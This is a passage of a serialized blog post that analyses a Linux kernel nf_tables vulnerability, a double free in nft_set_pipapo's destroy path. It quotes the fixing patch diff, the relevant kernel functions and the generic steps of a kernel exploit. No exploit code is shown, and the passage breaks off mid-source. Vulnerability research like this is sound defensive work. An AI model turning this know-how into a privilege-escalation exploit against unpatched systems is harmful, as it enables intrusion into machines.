etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":84,"props":51849,"children":51852},{"alt":51850,"src":51851},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":51854,"children":51855},{},[51856],{"type":29,"value":51857},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":395,"props":51859,"children":51861},{"id":51860},"kernel-exploitation",[51862],{"type":29,"value":51863},"Kernel exploitation",{"type":24,"tag":25,"props":51865,"children":51866},{},[51867],{"type":29,"value":51868},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":17924,"props":51870,"children":51871},{},[51872,51877,51882],{"type":24,"tag":1790,"props":51873,"children":51874},{},[51875],{"type":29,"value":51876},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":1790,"props":51878,"children":51879},{},[51880],{"type":29,"value":51881},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":1790,"props":51883,"children":51884},{},[51885],{"type":29,"value":51886},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":51888,"children":51889},{},[51890,51892,51899],{"type":29,"value":51891},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":101,"props":51893,"children":51896},{"href":51894,"rel":51895},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[105],[51897],{"type":29,"value":51898},"blog post",{"type":29,"value":51900}," to become more familiar with the topic.",{"type":24,"tag":59,"props":51902,"children":51904},{"id":51903},"nf_tables",[51905],{"type":24,"tag":154,"props":51906,"children":51908},{"className":51907},[],[51909],{"type":29,"value":51903},{"type":24,"tag":25,"props":51911,"children":51912},{},[51913,51918,51920,51926,51927,51933,51935,51941],{"type":24,"tag":154,"props":51914,"children":51916},{"className":51915},[],[51917],{"type":29,"value":51903},{"type":29,"value":51919}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":101,"props":51921,"children":51924},{"href":51922,"rel":51923},"https://pwning.tech/nftables",[105],[51925],{"type":29,"value":5672},{"type":29,"value":191},{"type":24,"tag":101,"props":51928,"children":51931},{"href":51929,"rel":51930},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[105],[51932],{"type":29,"value":4789},{"type":29,"value":51934},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":154,"props":51936,"children":51938},{"className":51937},[],[51939],{"type":29,"value":51940},"nf_table",{"type":29,"value":51942}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":51944,"children":51945},{},[51946],{"type":29,"value":51947},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":395,"props":51949,"children":51951},{"id":51950},"transactions",[51952],{"type":29,"value":51953},"Transactions",{"type":24,"tag":25,"props":51955,"children":51956},{},[51957,51959,51964,51966,51971],{"type":29,"value":51958},"A transaction is an interaction that updates ",{"type":24,"tag":154,"props":51960,"children":51962},{"className":51961},[],[51963],{"type":29,"value":51903},{"type":29,"value":51965}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":154,"props":51967,"children":51969},{"className":51968},[],[51970],{"type":29,"value":51903},{"type":29,"value":51972}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":17924,"props":51974,"children":51975},{},[51976,51986,51996],{"type":24,"tag":1790,"props":51977,"children":51978},{},[51979,51984],{"type":24,"tag":897,"props":51980,"children":51981},{},[51982],{"type":29,"value":51983},"Control plane",{"type":29,"value":51985},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":1790,"props":51987,"children":51988},{},[51989,51994],{"type":24,"tag":897,"props":51990,"children":51991},{},[51992],{"type":29,"value":51993},"Commit path",{"type":29,"value":51995},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":1790,"props":51997,"children":51998},{},[51999,52004],{"type":24,"tag":897,"props":52000,"children":52001},{},[52002],{"type":29,"value":52003},"Abort path",{"type":29,"value":52005},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":59,"props":52007,"children":52009},{"id":52008},"vulnerability-details",[52010],{"type":29,"value":52011},"Vulnerability details",{"type":24,"tag":25,"props":52013,"children":52014},{},[52015,52017,52023],{"type":29,"value":52016},"Moving on, let's check out the ",{"type":24,"tag":101,"props":52018,"children":52021},{"href":52019,"rel":52020},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[105],[52022],{"type":29,"value":5887},{"type":29,"value":52024}," that fixed the bug.",{"type":24,"tag":147,"props":52026,"children":52028},{"className":41625,"code":52027,"language":41627,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[52029],{"type":24,"tag":154,"props":52030,"children":52031},{"__ignoreMap":7},[52032,52040,52048,52056,52064,52072,52079,52087,52094,52102,52110,52118,52126,52134,52142,52150,52158,52166,52174,52182,52189,52197,52205,52213,52220,52227],{"type":24,"tag":158,"props":52033,"children":52034},{"class":160,"line":161},[52035],{"type":24,"tag":158,"props":52036,"children":52037},{"style":165},[52038],{"type":29,"value":52039},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":158,"props":52041,"children":52042},{"class":160,"line":213},[52043],{"type":24,"tag":158,"props":52044,"children":52045},{"style":188},[52046],{"type":29,"value":52047},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":158,"props":52049,"children":52050},{"class":160,"line":238},[52051],{"type":24,"tag":158,"props":52052,"children":52053},{"style":165},[52054],{"type":29,"value":52055},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":158,"props":52057,"children":52058},{"class":160,"line":259},[52059],{"type":24,"tag":158,"props":52060,"children":52061},{"style":165},[52062],{"type":29,"value":52063},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":158,"props":52065,"children":52066},{"class":160,"line":280},[52067],{"type":24,"tag":158,"props":52068,"children":52069},{"style":188},[52070],{"type":29,"value":52071},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":158,"props":52073,"children":52074},{"class":160,"line":301},[52075],{"type":24,"tag":158,"props":52076,"children":52077},{"emptyLinePlaceholder":16},[52078],{"type":29,"value":481},{"type":24,"tag":158,"props":52080,"children":52081},{"class":160,"line":626},[52082],{"type":24,"tag":158,"props":52083,"children":52084},{"style":188},[52085],{"type":29,"value":52086}," m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":158,"props":52088,"children":52089},{"class":160,"line":668},[52090],{"type":24,"tag":158,"props":52091,"children":52092},{"emptyLinePlaceholder":16},[52093],{"type":29,"value":481},{"type":24,"tag":158,"props":52095,"children":52096},{"class":160,"line":676},[52097],{"type":24,"tag":158,"props":52098,"children":52099},{"style":188},[52100],{"type":29,"value":52101}," if (m) {\n",{"type":24,"tag":158,"props":52103,"children":52104},{"class":160,"line":684},[52105],{"type":24,"tag":158,"props":52106,"children":52107},{"style":188},[52108],{"type":29,"value":52109}," rcu_barrier();\n",{"type":24,"tag":158,"props":52111,"children":52112},{"class":160,"line":700},[52113],{"type":24,"tag":158,"props":52114,"children":52115},{"style":188},[52116],{"type":29,"value":52117}," \n",{"type":24,"tag":158,"props":52119,"children":52120},{"class":160,"line":785},[52121],{"type":24,"tag":158,"props":52122,"children":52123},{"style":1108},[52124],{"type":29,"value":52125},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":158,"props":52127,"children":52128},{"class":160,"line":1447},[52129],{"type":24,"tag":158,"props":52130,"children":52131},{"style":1108},[52132],{"type":29,"value":52133},"-\n",{"type":24,"tag":158,"props":52135,"children":52136},{"class":160,"line":1509},[52137],{"type":24,"tag":158,"props":52138,"children":52139},{"style":188},[52140],{"type":29,"value":52141}," for_each_possible_cpu(cpu)\n",{"type":24,"tag":158,"props":52143,"children":52144},{"class":160,"line":1527},[52145],{"type":24,"tag":158,"props":52146,"children":52147},{"style":188},[52148],{"type":29,"value":52149}," pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":158,"props":52151,"children":52152},{"class":160,"line":1545},[52153],{"type":24,"tag":158,"props":52154,"children":52155},{"style":188},[52156],{"type":29,"value":52157}," free_percpu(m->scratch);\n",{"type":24,"tag":158,"props":52159,"children":52160},{"class":160,"line":1618},[52161],{"type":24,"tag":158,"props":52162,"children":52163},{"style":188},[52164],{"type":29,"value":52165},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":158,"props":52167,"children":52168},{"class":160,"line":1635},[52169],{"type":24,"tag":158,"props":52170,"children":52171},{"style":188},[52172],{"type":29,"value":52173}," if (priv->clone) {\n",{"type":24,"tag":158,"props":52175,"children":52176},{"class":160,"line":1644},[52177],{"type":24,"tag":158,"props":52178,"children":52179},{"style":188},[52180],{"type":29,"value":52181}," m = priv->clone;\n",{"type":24,"tag":158,"props":52183,"children":52184},{"class":160,"line":1652},[52185],{"type":24,"tag":158,"props":52186,"children":52187},{"style":188},[52188],{"type":29,"value":52117},{"type":24,"tag":158,"props":52190,"children":52191},{"class":160,"line":1704},[52192],{"type":24,"tag":158,"props":52193,"children":52194},{"style":1108},[52195],{"type":29,"value":52196},"- if (priv->dirty)\n",{"type":24,"tag":158,"props":52198,"children":52199},{"class":160,"line":1713},[52200],{"type":24,"tag":158,"props":52201,"children":52202},{"style":1108},[52203],{"type":29,"value":52204},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":158,"props":52206,"children":52207},{"class":160,"line":1731},[52208],{"type":24,"tag":158,"props":52209,"children":52210},{"style":465},[52211],{"type":29,"value":52212},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":158,"props":52214,"children":52215},{"class":160,"line":5485},[52216],{"type":24,"tag":158,"props":52217,"children":52218},{"style":188},[52219],{"type":29,"value":52117},{"type":24,"tag":158,"props":52221,"children":52222},{"class":160,"line":5493},[52223],{"type":24,"tag":158,"props":52224,"children":52225},{"style":188},[52226],{"type":29,"value":52141},{"type":24,"tag":158,"props":52228,"children":52229},{"class":160,"line":5553},[52230],{"type":24,"tag":158,"props":52231,"children":52232},{"style":188},[52233],{"type":29,"value":52234}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":52236,"children":52237},{},[52238,52240,52246,52247,52253,52255,52261,52263,52269,52271,52276,52278,52284,52286,52292,52294,52300],{"type":29,"value":52239},"If the ",{"type":24,"tag":154,"props":52241,"children":52243},{"className":52242},[],[52244],{"type":29,"value":52245},"priv->dirty",{"type":29,"value":1826},{"type":24,"tag":154,"props":52248,"children":52250},{"className":52249},[],[52251],{"type":29,"value":52252},"priv->clone",{"type":29,"value":52254}," variables are set, ",{"type":24,"tag":154,"props":52256,"children":52258},{"className":52257},[],[52259],{"type":29,"value":52260},"nft_set_pipapo_match_destroy()",{"type":29,"value":52262}," is called twice, once with ",{"type":24,"tag":154,"props":52264,"children":52266},{"className":52265},[],[52267],{"type":29,"value":52268},"priv->match",{"type":29,"value":52270}," as an argument, and then again with ",{"type":24,"tag":154,"props":52272,"children":52274},{"className":52273},[],[52275],{"type":29,"value":52252},{"type":29,"value":52277},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":154,"props":52279,"children":52281},{"className":52280},[],[52282],{"type":29,"value":52283},"setelem",{"type":29,"value":52285},"s of the ",{"type":24,"tag":154,"props":52287,"children":52289},{"className":52288},[],[52290],{"type":29,"value":52291},"set",{"type":29,"value":52293}," and calling ",{"type":24,"tag":154,"props":52295,"children":52297},{"className":52296},[],[52298],{"type":29,"value":52299},"nf_tables_set_elem_destroy()",{"type":29,"value":52301}," for each of them.",{"type":24,"tag":147,"props":52303,"children":52305},{"className":17751,"code":52304,"language":2907,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52306],{"type":24,"tag":154,"props":52307,"children":52308},{"__ignoreMap":7},[52309,52356,52384,52410,52417,52438,52451,52458,52555,52563,52570,52625,52646,52653,52756,52768,52775,52811,52818,52852,52859],{"type":24,"tag":158,"props":52310,"children":52311},{"class":160,"line":161},[52312,52317,52322,52327,52331,52335,52339,52344,52348,52352],{"type":24,"tag":158,"props":52313,"children":52314},{"style":165},[52315],{"type":29,"value":52316},"static",{"type":24,"tag":158,"props":52318,"children":52319},{"style":165},[52320],{"type":29,"value":52321}," void",{"type":24,"tag":158,"props":52323,"children":52324},{"style":496},[52325],{"type":29,"value":52326}," nft_set_pipapo_match_destroy",{"type":24,"tag":158,"props":52328,"children":52329},{"style":188},[52330],{"type":29,"value":504},{"type":24,"tag":158,"props":52332,"children":52333},{"style":165},[52334],{"type":29,"value":443},{"type":24,"tag":158,"props":52336,"children":52337},{"style":165},[52338],{"type":29,"value":22395},{"type":24,"tag":158,"props":52340,"children":52341},{"style":188},[52342],{"type":29,"value":52343}," nft_ctx ",{"type":24,"tag":158,"props":52345,"children":52346},{"style":222},[52347],{"type":29,"value":577},{"type":24,"tag":158,"props":52349,"children":52350},{"style":177},[52351],{"type":29,"value":21524},{"type":24,"tag":158,"props":52353,"children":52354},{"style":188},[52355],{"type":29,"value":235},{"type":24,"tag":158,"props":52357,"children":52358},{"class":160,"line":213},[52359,52363,52367,52372,52376,52380],{"type":24,"tag":158,"props":52360,"children":52361},{"style":165},[52362],{"type":29,"value":32808},{"type":24,"tag":158,"props":52364,"children":52365},{"style":165},[52366],{"type":29,"value":22395},{"type":24,"tag":158,"props":52368,"children":52369},{"style":188},[52370],{"type":29,"value":52371}," nft_set ",{"type":24,"tag":158,"props":52373,"children":52374},{"style":222},[52375],{"type":29,"value":577},{"type":24,"tag":158,"props":52377,"children":52378},{"style":177},[52379],{"type":29,"value":52291},{"type":24,"tag":158,"props":52381,"children":52382},{"style":188},[52383],{"type":29,"value":235},{"type":24,"tag":158,"props":52385,"children":52386},{"class":160,"line":238},[52387,52392,52397,52401,52406],{"type":24,"tag":158,"props":52388,"children":52389},{"style":165},[52390],{"type":29,"value":52391}," struct",{"type":24,"tag":158,"props":52393,"children":52394},{"style":188},[52395],{"type":29,"value":52396}," nft_pipapo_match ",{"type":24,"tag":158,"props":52398,"children":52399},{"style":222},[52400],{"type":29,"value":577},{"type":24,"tag":158,"props":52402,"children":52403},{"style":177},[52404],{"type":29,"value":52405},"m",{"type":24,"tag":158,"props":52407,"children":52408},{"style":188},[52409],{"type":29,"value":2125},{"type":24,"tag":158,"props":52411,"children":52412},{"class":160,"line":259},[52413],{"type":24,"tag":158,"props":52414,"children":52415},{"style":188},[52416],{"type":29,"value":1710},{"type":24,"tag":158,"props":52418,"children":52419},{"class":160,"line":280},[52420,52424,52429,52433],{"type":24,"tag":158,"props":52421,"children":52422},{"style":165},[52423],{"type":29,"value":22395},{"type":24,"tag":158,"props":52425,"children":52426},{"style":188},[52427],{"type":29,"value":52428}," nft_pipapo_field ",{"type":24,"tag":158,"props":52430,"children":52431},{"style":222},[52432],{"type":29,"value":577},{"type":24,"tag":158,"props":52434,"children":52435},{"style":188},[52436],{"type":29,"value":52437},"f;\n",{"type":24,"tag":158,"props":52439,"children":52440},{"class":160,"line":301},[52441,52446],{"type":24,"tag":158,"props":52442,"children":52443},{"style":165},[52444],{"type":29,"value":52445}," int",{"type":24,"tag":158,"props":52447,"children":52448},{"style":188},[52449],{"type":29,"value":52450}," i, r;\n",{"type":24,"tag":158,"props":52452,"children":52453},{"class":160,"line":626},[52454],{"type":24,"tag":158,"props":52455,"children":52456},{"emptyLinePlaceholder":16},[52457],{"type":29,"value":481},{"type":24,"tag":158,"props":52459,"children":52460},{"class":160,"line":668},[52461,52466,52471,52475,52479,52484,52488,52493,52497,52501,52506,52510,52514,52518,52523,52528,52532,52537,52542,52547,52551],{"type":24,"tag":158,"props":52462,"children":52463},{"style":1914},[52464],{"type":29,"value":52465}," for",{"type":24,"tag":158,"props":52467,"children":52468},{"style":188},[52469],{"type":29,"value":52470}," (i ",{"type":24,"tag":158,"props":52472,"children":52473},{"style":222},[52474],{"type":29,"value":1285},{"type":24,"tag":158,"props":52476,"children":52477},{"style":465},[52478],{"type":29,"value":2025},{"type":24,"tag":158,"props":52480,"children":52481},{"style":188},[52482],{"type":29,"value":52483},", f ",{"type":24,"tag":158,"props":52485,"children":52486},{"style":222},[52487],{"type":29,"value":1285},{"type":24,"tag":158,"props":52489,"children":52490},{"style":177},[52491],{"type":29,"value":52492}," m",{"type":24,"tag":158,"props":52494,"children":52495},{"style":188},[52496],{"type":29,"value":14991},{"type":24,"tag":158,"props":52498,"children":52499},{"style":177},[52500],{"type":29,"value":34347},{"type":24,"tag":158,"props":52502,"children":52503},{"style":188},[52504],{"type":29,"value":52505},"; i ",{"type":24,"tag":158,"props":52507,"children":52508},{"style":222},[52509],{"type":29,"value":3760},{"type":24,"tag":158,"props":52511,"children":52512},{"style":177},[52513],{"type":29,"value":52492},{"type":24,"tag":158,"props":52515,"children":52516},{"style":188},[52517],{"type":29,"value":14991},{"type":24,"tag":158,"props":52519,"children":52520},{"style":177},[52521],{"type":29,"value":52522},"field_count",{"type":24,"tag":158,"props":52524,"children":52525},{"style":222},[52526],{"type":29,"value":52527}," -",{"type":24,"tag":158,"props":52529,"children":52530},{"style":465},[52531],{"type":29,"value":1668},{"type":24,"tag":158,"props":52533,"children":52534},{"style":188},[52535],{"type":29,"value":52536},"; i",{"type":24,"tag":158,"props":52538,"children":52539},{"style":222},[52540],{"type":29,"value":52541},"++",{"type":24,"tag":158,"props":52543,"children":52544},{"style":188},[52545],{"type":29,"value":52546},", f",{"type":24,"tag":158,"props":52548,"children":52549},{"style":222},[52550],{"type":29,"value":52541},{"type":24,"tag":158,"props":52552,"children":52553},{"style":188},[52554],{"type":29,"value":2125},{"type":24,"tag":158,"props":52556,"children":52557},{"class":160,"line":676},[52558],{"type":24,"tag":158,"props":52559,"children":52560},{"style":188},[52561],{"type":29,"value":52562}," ;\n",{"type":24,"tag":158,"props":52564,"children":52565},{"class":160,"line":684},[52566],{"type":24,"tag":158,"props":52567,"children":52568},{"emptyLinePlaceholder":16},[52569],{"type":29,"value":481},{"type":24,"tag":158,"props":52571,"children":52572},{"class":160,"line":700},[52573,52577,52582,52586,52590,52595,52599,52603,52607,52612,52617,52621],{"type":24,"tag":158,"props":52574,"children":52575},{"style":1914},[52576],{"type":29,"value":52465},{"type":24,"tag":158,"props":52578,"children":52579},{"style":188},[52580],{"type":29,"value":52581}," (r ",{"type":24,"tag":158,"props":52583,"children":52584},{"style":222},[52585],{"type":29,"value":1285},{"type":24,"tag":158,"props":52587,"children":52588},{"style":465},[52589],{"type":29,"value":2025},{"type":24,"tag":158,"props":52591,"children":52592},{"style":188},[52593],{"type":29,"value":52594},"; r ",{"type":24,"tag":158,"props":52596,"children":52597},{"style":222},[52598],{"type":29,"value":3760},{"type":24,"tag":158,"props":52600,"children":52601},{"style":177},[52602],{"type":29,"value":34233},{"type":24,"tag":158,"props":52604,"children":52605},{"style":188},[52606],{"type":29,"value":14991},{"type":24,"tag":158,"props":52608,"children":52609},{"style":177},[52610],{"type":29,"value":52611},"rules",{"type":24,"tag":158,"props":52613,"children":52614},{"style":188},[52615],{"type":29,"value":52616},"; r",{"type":24,"tag":158,"props":52618,"children":52619},{"style":222},[52620],{"type":29,"value":52541},{"type":24,"tag":158,"props":52622,"children":52623},{"style":188},[52624],{"type":29,"value":16038},{"type":24,"tag":158,"props":52626,"children":52627},{"class":160,"line":785},[52628,52632,52637,52641],{"type":24,"tag":158,"props":52629,"children":52630},{"style":165},[52631],{"type":29,"value":7449},{"type":24,"tag":158,"props":52633,"children":52634},{"style":188},[52635],{"type":29,"value":52636}," nft_pipapo_elem ",{"type":24,"tag":158,"props":52638,"children":52639},{"style":222},[52640],{"type":29,"value":577},{"type":24,"tag":158,"props":52642,"children":52643},{"style":188},[52644],{"type":29,"value":52645},"e;\n",{"type":24,"tag":158,"props":52647,"children":52648},{"class":160,"line":1447},[52649],{"type":24,"tag":158,"props":52650,"children":52651},{"emptyLinePlaceholder":16},[52652],{"type":29,"value":481},{"type":24,"tag":158,"props":52654,"children":52655},{"class":160,"line":1509},[52656,52660,52664,52668,52672,52676,52680,52684,52688,52692,52696,52700,52705,52710,52714,52718,52722,52727,52731,52735,52739,52743,52748,52752],{"type":24,"tag":158,"props":52657,"children":52658},{"style":1914},[52659],{"type":29,"value":32655},{"type":24,"tag":158,"props":52661,"children":52662},{"style":188},[52663],{"type":29,"value":52581},{"type":24,"tag":158,"props":52665,"children":52666},{"style":222},[52667],{"type":29,"value":3760},{"type":24,"tag":158,"props":52669,"children":52670},{"style":177},[52671],{"type":29,"value":34233},{"type":24,"tag":158,"props":52673,"children":52674},{"style":188},[52675],{"type":29,"value":14991},{"type":24,"tag":158,"props":52677,"children":52678},{"style":177},[52679],{"type":29,"value":52611},{"type":24,"tag":158,"props":52681,"children":52682},{"style":222},[52683],{"type":29,"value":52527},{"type":24,"tag":158,"props":52685,"children":52686},{"style":465},[52687],{"type":29,"value":1668},{"type":24,"tag":158,"props":52689,"children":52690},{"style":222},[52691],{"type":29,"value":15419},{"type":24,"tag":158,"props":52693,"children":52694},{"style":177},[52695],{"type":29,"value":34233},{"type":24,"tag":158,"props":52697,"children":52698},{"style":188},[52699],{"type":29,"value":14991},{"type":24,"tag":158,"props":52701,"children":52702},{"style":177},[52703],{"type":29,"value":52704},"mt",{"type":24,"tag":158,"props":52706,"children":52707},{"style":188},[52708],{"type":29,"value":52709},"[r ",{"type":24,"tag":158,"props":52711,"children":52712},{"style":222},[52713],{"type":29,"value":728},{"type":24,"tag":158,"props":52715,"children":52716},{"style":465},[52717],{"type":29,"value":1668},{"type":24,"tag":158,"props":52719,"children":52720},{"style":188},[52721],{"type":29,"value":51620},{"type":24,"tag":158,"props":52723,"children":52724},{"style":177},[52725],{"type":29,"value":52726},"e",{"type":24,"tag":158,"props":52728,"children":52729},{"style":222},[52730],{"type":29,"value":3175},{"type":24,"tag":158,"props":52732,"children":52733},{"style":177},[52734],{"type":29,"value":34233},{"type":24,"tag":158,"props":52736,"children":52737},{"style":188},[52738],{"type":29,"value":14991},{"type":24,"tag":158,"props":52740,"children":52741},{"style":177},[52742],{"type":29,"value":52704},{"type":24,"tag":158,"props":52744,"children":52745},{"style":188},[52746],{"type":29,"value":52747},"[r].",{"type":24,"tag":158,"props":52749,"children":52750},{"style":177},[52751],{"type":29,"value":52726},{"type":24,"tag":158,"props":52753,"children":52754},{"style":188},[52755],{"type":29,"value":2125},{"type":24,"tag":158,"props":52757,"children":52758},{"class":160,"line":1527},[52759,52764],{"type":24,"tag":158,"props":52760,"children":52761},{"style":1914},[52762],{"type":29,"value":52763}," continue",{"type":24,"tag":158,"props":52765,"children":52766},{"style":188},[52767],{"type":29,"value":473},{"type":24,"tag":158,"props":52769,"children":52770},{"class":160,"line":1545},[52771],{"type":24,"tag":158,"props":52772,"children":52773},{"emptyLinePlaceholder":16},[52774],{"type":29,"value":481},{"type":24,"tag":158,"props":52776,"children":52777},{"class":160,"line":1618},[52778,52783,52787,52791,52795,52799,52803,52807],{"type":24,"tag":158,"props":52779,"children":52780},{"style":188},[52781],{"type":29,"value":52782}," e ",{"type":24,"tag":158,"props":52784,"children":52785},{"style":222},[52786],{"type":29,"value":1285},{"type":24,"tag":158,"props":52788,"children":52789},{"style":177},[52790],{"type":29,"value":34233},{"type":24,"tag":158,"props":52792,"children":52793},{"style":188},[52794],{"type":29,"value":14991},{"type":24,"tag":158,"props":52796,"children":52797},{"style":177},[52798],{"type":29,"value":52704},{"type":24,"tag":158,"props":52800,"children":52801},{"style":188},[52802],{"type":29,"value":52747},{"type":24,"tag":158,"props":52804,"children":52805},{"style":177},[52806],{"type":29,"value":52726},{"type":24,"tag":158,"props":52808,"children":52809},{"style":188},[52810],{"type":29,"value":473},{"type":24,"tag":158,"props":52812,"children":52813},{"class":160,"line":1635},[52814],{"type":24,"tag":158,"props":52815,"children":52816},{"emptyLinePlaceholder":16},[52817],{"type":29,"value":481},{"type":24,"tag":158,"props":52819,"children":52820},{"class":160,"line":1644},[52821,52826,52831,52835,52839,52843,52848],{"type":24,"tag":158,"props":52822,"children":52823},{"style":496},[52824],{"type":29,"value":52825}," nf_tables_set_elem_destroy",{"type":24,"tag":158,"props":52827,"children":52828},{"style":188},[52829],{"type":29,"value":52830},"(ctx, set, ",{"type":24,"tag":158,"props":52832,"children":52833},{"style":222},[52834],{"type":29,"value":2212},{"type":24,"tag":158,"props":52836,"children":52837},{"style":177},[52838],{"type":29,"value":52726},{"type":24,"tag":158,"props":52840,"children":52841},{"style":188},[52842],{"type":29,"value":14991},{"type":24,"tag":158,"props":52844,"children":52845},{"style":177},[52846],{"type":29,"value":52847},"priv",{"type":24,"tag":158,"props":52849,"children":52850},{"style":188},[52851],{"type":29,"value":1071},{"type":24,"tag":158,"props":52853,"children":52854},{"class":160,"line":1652},[52855],{"type":24,"tag":158,"props":52856,"children":52857},{"style":188},[52858],{"type":29,"value":382},{"type":24,"tag":158,"props":52860,"children":52861},{"class":160,"line":1704},[52862],{"type":24,"tag":158,"props":52863,"children":52864},{"style":188},[52865],{"type":29,"value":307},{"type":24,"tag":25,"props":52867,"children":52868},{},[52869,52871,52877,52879,52884],{"type":29,"value":52870},"Which will then ",{"type":24,"tag":154,"props":52872,"children":52874},{"className":52873},[],[52875],{"type":29,"value":52876},"kfree()",{"type":29,"value":52878}," the ",{"type":24,"tag":154,"props":52880,"children":52882},{"className":52881},[],[52883],{"type":29,"value":52283},{"type":29,"value":347},{"type":24,"tag":147,"props":52886,"children":52888},{"className":17751,"code":52887,"language":2907,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[52889],{"type":24,"tag":154,"props":52890,"children":52891},{"__ignoreMap":7},[52892,52933,52961,52990,52997,53032,53039,53060,53083,53090,53103],{"type":24,"tag":158,"props":52893,"children":52894},{"class":160,"line":161},[52895,52900,52905,52909,52913,52917,52921,52925,52929],{"type":24,"tag":158,"props":52896,"children":52897},{"style":165},[52898],{"type":29,"value":52899},"void",{"type":24,"tag":158,"props":52901,"children":52902},{"style":496},[52903],{"type":29,"value":52904}," nf_tables_set_elem_destroy",{"type":24,"tag":158,"props":52906,"children":52907},{"style":188},[52908],{"type":29,"value":504},{"type":24,"tag":158,"props":52910,"children":52911},{"style":165},[52912],{"type":29,"value":443},{"type":24,"tag":158,"props":52914,"children":52915},{"style":165},[52916],{"type":29,"value":22395},{"type":24,"tag":158,"props":52918,"children":52919},{"style":188},[52920],{"type":29,"value":52343},{"type":24,"tag":158,"props":52922,"children":52923},{"style":222},[52924],{"type":29,"value":577},{"type":24,"tag":158,"props":52926,"children":52927},{"style":177},[52928],{"type":29,"value":21524},{"type":24,"tag":158,"props":52930,"children":52931},{"style":188},[52932],{"type":29,"value":235},{"type":24,"tag":158,"props":52934,"children":52935},{"class":160,"line":213},[52936,52941,52945,52949,52953,52957],{"type":24,"tag":158,"props":52937,"children":52938},{"style":165},[52939],{"type":29,"value":52940}," 